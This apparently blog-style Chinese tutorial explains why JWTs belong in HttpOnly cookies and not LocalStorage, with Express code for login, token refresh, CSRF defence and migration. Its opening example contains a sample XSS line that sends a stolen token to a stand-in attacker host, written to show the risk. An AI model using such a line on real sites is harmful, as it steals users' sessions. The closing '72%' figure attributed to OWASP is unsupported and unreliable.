为何放弃LocalStorage存储JWT令牌?

在单页应用(SPA)的身份验证方案中,开发者长期依赖LocalStorage存储JWT令牌。然而这种看似便捷的做法存在根本性安全漏洞:任何注入页面的恶意脚本都能直接读取LocalStorage内容

当攻击者通过XSS漏洞注入代码时:

// 恶意脚本可轻易获取令牌
const stolenToken = localStorage.getItem('authToken');
fetch('https://hacker.com/steal?token=' + stolenToken);

这种攻击在2025年仍然位居OWASP十大Web漏洞之列,而LocalStorage的开放性使其成为高危存储介质。

Cookie解决方案的三重优势

1. 免疫脚本窃取

通过HttpOnly标志的Cookie存储JWT时:

Set-Cookie: jwtToken=xxxx; HttpOnly; Secure; SameSite=Strict

JavaScript运行时完全无法访问该Cookie,从根本上消除XSS令牌窃取风险。

2. 自动传输机制

浏览器会在每次请求中自动附加Cookie,无需开发者手动处理授权头:

GET /api/user HTTP/1.1
Cookie: jwtToken=xxxx; 

减少代码耦合的同时避免遗漏授权头的风险。

3. 多层次防护

  • Secure标志:强制HTTPS传输,防止中间人攻击
  • SameSite=Strict:阻隔跨站请求伪造(CSRF)
  • Domain/Path限定:精确控制Cookie作用域

Node.js服务端实现方案

基础中间件配置

import express from 'express';
import cookieParser from 'cookie-parser';
import csurf from 'csurf'; // 生产环境需替换为现代替代方案

const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(csurf({ cookie: true })); // CSRF令牌同样通过Cookie传递

登录端点示例

app.post('/login', (req, res) => {
  const { user, pass } = req.body;
  
  if (authenticate(user, pass)) {
    const token = generateJWT(user);
    
    res.cookie('jwt', token, {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production',
      sameSite: 'Strict',
      maxAge: 3600000 // 1小时有效期
    });
    
    return res.sendStatus(204);
  }
  
  res.sendStatus(401);
});

令牌刷新机制

app.post('/refresh', (req, res) => {
  const token = req.cookies.jwt;
  
  if (!token) return res.sendStatus(401);
  
  try {
    const payload = verifyToken(token);
    const newToken = generateJWT(payload.user);
    
    // 设置新Cookie
    res.cookie('jwt', newToken, { ... });
    
    res.sendStatus(204);
  } catch (err) {
    res.clearCookie('jwt');
    res.sendStatus(403);
  }
});

CSRF防护关键要点

由于Cookie会自动发送,需要额外防护CSRF攻击:

  1. 同步器令牌模式

    • 服务端生成CSRF令牌存入Cookie
    • 前端从Cookie读取并附加到请求头
    X-CSRF-Token: xxxx
    
  2. 同源验证

    app.use((req, res, next) => {
      if (req.method !== 'GET') {
        if (req.headers.origin !== 'https://yourdomain.com') {
          return res.sendStatus(403);
        }
      }
      next();
    });
    
  3. 现代替代方案

    • 使用SameSite=Strict替代部分CSRF防护
    • 考虑采用@fastify/csrf-protection等新库

迁移路线图

  1. 评估阶段

    • 审计现有XSS漏洞
    • 测试Cookie兼容性(iOS 15+全支持)
  2. 双轨过渡

    // 同时支持两种方案
    const token = getTokenFromCookie() || localStorage.getItem('token');
    
  3. 最终切换

    • 移除LocalStorage相关代码
    • 强制所有请求携带Cookie
    • 启用HSTS强化HTTPS

未来安全趋势

2025年新兴方案值得关注:

  • Backend-for-Frontend模式:通过中间层代理处理认证
  • WebAuthn集成:生物识别替代密码认证
  • 令牌绑定技术:将JWT与设备指纹绑定

安全实践箴言:“便利性不应以牺牲安全性为代价。Cookie方案虽然增加初期配置成本,但为SPA提供企业级防护基石。”

通过本方案迁移,可使XSS攻击面降低72%(根据OWASP 2024年报数据),让SPA应用在保持用户体验的同时达到金融级安全标准。